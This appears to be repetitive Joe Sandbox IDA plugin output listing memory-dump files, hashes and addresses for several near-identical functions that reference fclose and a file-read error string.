Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction ID: 471b3bff0586ec136dc95a8933df64422d513b9a2d9e2133d451bacefe279388
Opcode Fuzzy Hash: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction Fuzzy Hash: 62F03A13B0DA0341F956AE46BC81BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894988 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction ID: 2bf27b2ae6d6eec0c27612c2c8fc7362068cfee71c6fc820ee6dd9d7b4cc56f9
Opcode Fuzzy Hash: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction Fuzzy Hash: 1BF03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF70489497E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction ID: b86c9df7f7d8c00c1de3fd7fae0b5c9d88931ac29f3a9f4d1ff10f1936957d94
Opcode Fuzzy Hash: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction Fuzzy Hash: D9F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e4515d24f520ce7de176e247dfece73cf68b1250ec6576f9dcf6ba3ae7f22860
Instruction ID: a595b5299544ebb49fcf8a75d1f21148fd12d68bd1de30331cc1e1ce6760566c
Opcode Fuzzy Hash: e4515d24f520ce7de176e247dfece73cf68b1250ec6576f9dcf6ba3ae7f22860
Instruction Fuzzy Hash: 45F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D368D5C0A6C1AF7DBCA38320

Function 00007FF704894B0E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e4515d24f520ce7de176e247dfece73cf68b1250ec6576f9dcf6ba3ae7f22860
Instruction ID: a595b5299544ebb49fcf8a75d1f21148fd12d68bd1de30331cc1e1ce6760566c
Opcode Fuzzy Hash: e4515d24f520ce7de176e247dfece73cf68b1250ec6576f9dcf6ba3ae7f22860
Instruction Fuzzy Hash: 45F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D368D5C0A6C1AF7DBCA38320

Function 00007FF7048947B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction ID: 2bf27b2ae6d6eec0c27612c2c8fc7362068cfee71c6fc820ee6dd9d7b4cc56f9
Opcode Fuzzy Hash: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction Fuzzy Hash: 1BF03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF7048947A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction ID: b86c9df7f7d8c00c1de3fd7fae0b5c9d88931ac29f3a9f4d1ff10f1936957d94
Opcode Fuzzy Hash: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction Fuzzy Hash: D9F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF7048947D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction ID: 4f51eaf12c252f14d2e814458be1617bc15ec2ecf4b6497148fa16afbf635ced
Opcode Fuzzy Hash: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction Fuzzy Hash: D1F03013B0DA0341F956AE467C80BB991412F81BA5E8D0D358D5C0A6C1AF7D7CA38320

Function 00007FF7048947C6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction ID: 66093d1820e0408654188f5ce1ba275629a297463c1ead15727bf940c226423b
Opcode Fuzzy Hash: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction Fuzzy Hash: A4F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF7048947BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction ID: 471b3bff0586ec136dc95a8933df64422d513b9a2d9e2133d451bacefe279388
Opcode Fuzzy Hash: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction Fuzzy Hash: 62F03A13B0DA0341F956AE46BC81BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e4515d24f520ce7de176e247dfece73cf68b1250ec6576f9dcf6ba3ae7f22860
Instruction ID: a595b5299544ebb49fcf8a75d1f21148fd12d68bd1de30331cc1e1ce6760566c
Opcode Fuzzy Hash: e4515d24f520ce7de176e247dfece73cf68b1250ec6576f9dcf6ba3ae7f22860
Instruction Fuzzy Hash: 45F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D368D5C0A6C1AF7DBCA38320

Function 00007FF704894771 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction ID: 471b3bff0586ec136dc95a8933df64422d513b9a2d9e2133d451bacefe279388
Opcode Fuzzy Hash: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction Fuzzy Hash: 62F03A13B0DA0341F956AE46BC81BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894767 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction ID: 2bf27b2ae6d6eec0c27612c2c8fc7362068cfee71c6fc820ee6dd9d7b4cc56f9
Opcode Fuzzy Hash: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction Fuzzy Hash: 1BF03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF70489475D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction ID: b86c9df7f7d8c00c1de3fd7fae0b5c9d88931ac29f3a9f4d1ff10f1936957d94
Opcode Fuzzy Hash: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction Fuzzy Hash: D9F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894B8B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f9c19ecb0dbcd0404074f8f279659e2043fc8fa528e26d34917970762c54e7d8
Instruction ID: 4fdad4b5155460b22580d3c72f4303fa82476ceb43c86d012619b91e94a204a4
Opcode Fuzzy Hash: f9c19ecb0dbcd0404074f8f279659e2043fc8fa528e26d34917970762c54e7d8
Instruction Fuzzy Hash: 39F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D328D5C0A7C1AF7DBCA38320

Function 00007FF704894785 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction ID: 4f51eaf12c252f14d2e814458be1617bc15ec2ecf4b6497148fa16afbf635ced
Opcode Fuzzy Hash: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction Fuzzy Hash: D1F03013B0DA0341F956AE467C80BB991412F81BA5E8D0D358D5C0A6C1AF7D7CA38320

Function 00007FF70489477B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
